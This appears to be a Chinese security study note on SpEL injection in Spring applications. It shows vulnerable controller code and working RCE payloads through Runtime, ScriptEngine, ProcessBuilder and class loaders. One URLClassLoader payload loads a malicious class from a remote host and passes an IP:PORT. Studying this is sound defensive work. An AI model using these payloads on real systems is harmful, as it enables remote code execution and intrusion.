About SpEL

SpEL(Spring Expression Language,Spring 表达式语言) 是 Spring 框架提供的一种强大的表达式语言,允许在运行时解析和执行动态表达式。SpEL 可用于 访问对象属性、调用方法、执行数学运算、逻辑运算,甚至可以调用 Java 反射或执行 Bean 操作。

基本符号

image-20250325091520275

SpEL注入漏洞

漏洞环境配置:

https://github.com/LandGrey/SpringBootVulExploit/tree/master/repository/springboot-spel-rce

JDK:8u65

来简单看下下面两种漏洞代码的区别:

1
2
3
4
5
6
@RequestMapping("/article")
public String spelInjection(@RequestParam String expression) {
ExpressionParser parser = new SpelExpressionParser();
Expression exp = parser.parseExpression(expression);
return exp.getValue().toString();
}

↑这种将会显式解析SpEL表达式,在打Payload的时候无需加上界定符${}。

1
2
3
4
5
6
@RequestMapping("/article")
public String hello(String id){
int total = 100;
String message = String.format("You've read %s books, and there are %d left", id, total - Integer.valueOf(id));
return message;
}

↑这种是隐式的,需要加上${}以解析。

接下来默认讨论第一种的用法。

低端RCE

我们可以通过T()动态访问Java类:

image-20250325091624500

也就意味着能用某些类进行RCE:

image-20250325091701791

Runtime

1
T{Java.lang.Runtime}.getRuntime().exec("")

ScriptEngine

1
2
3
new javax.script.ScriptEngineManager().getEngineByName("nashorn").eval("s=[1];s[0]='calc';java.lang.Runtime.getRuntime().exec(s);")

new javax.script.ScriptEngineManager().getEngineByName("javascript").eval("s=[1];s[0]='calc';java.lang.Runtime.getRuntime().exec(s);")

这个Payload做下解释:

new javax.script.ScriptEngineManager().getEngineByName("nashorn").eval("JS代码")

这一句是在动态调用JavaScript引擎,利用JavaScript语言中的eval函数来进行RCE。

ProcessBuilder

1
new java.lang.ProcessBuilder(new String[]{"calc"}).start()

有回显:

1
new java.io.BufferedReader(new java.io.InputStreamReader(new ProcessBuilder("cmd", "/c", "whoami").start().getInputStream(), "gbk")).readLine()

类加载RCE

URLClassLoader

可以远程加载恶意类:

1
new java.net.URLClassLoader(new java.net.URL[]{new java.net.URL("url")}).loadClass("shell").getConstructors()[0].newInstance("IP:PORT")

本地演示:

在恶意类目录下开启http服务:

image-20250325113013408

蹦出一个计算器

image-20250325113018432

AppClassLoader

1
T(ClassLoader).getSystemClassLoader().loadClass("java.lang.Runtime").getRuntime().exec("calc")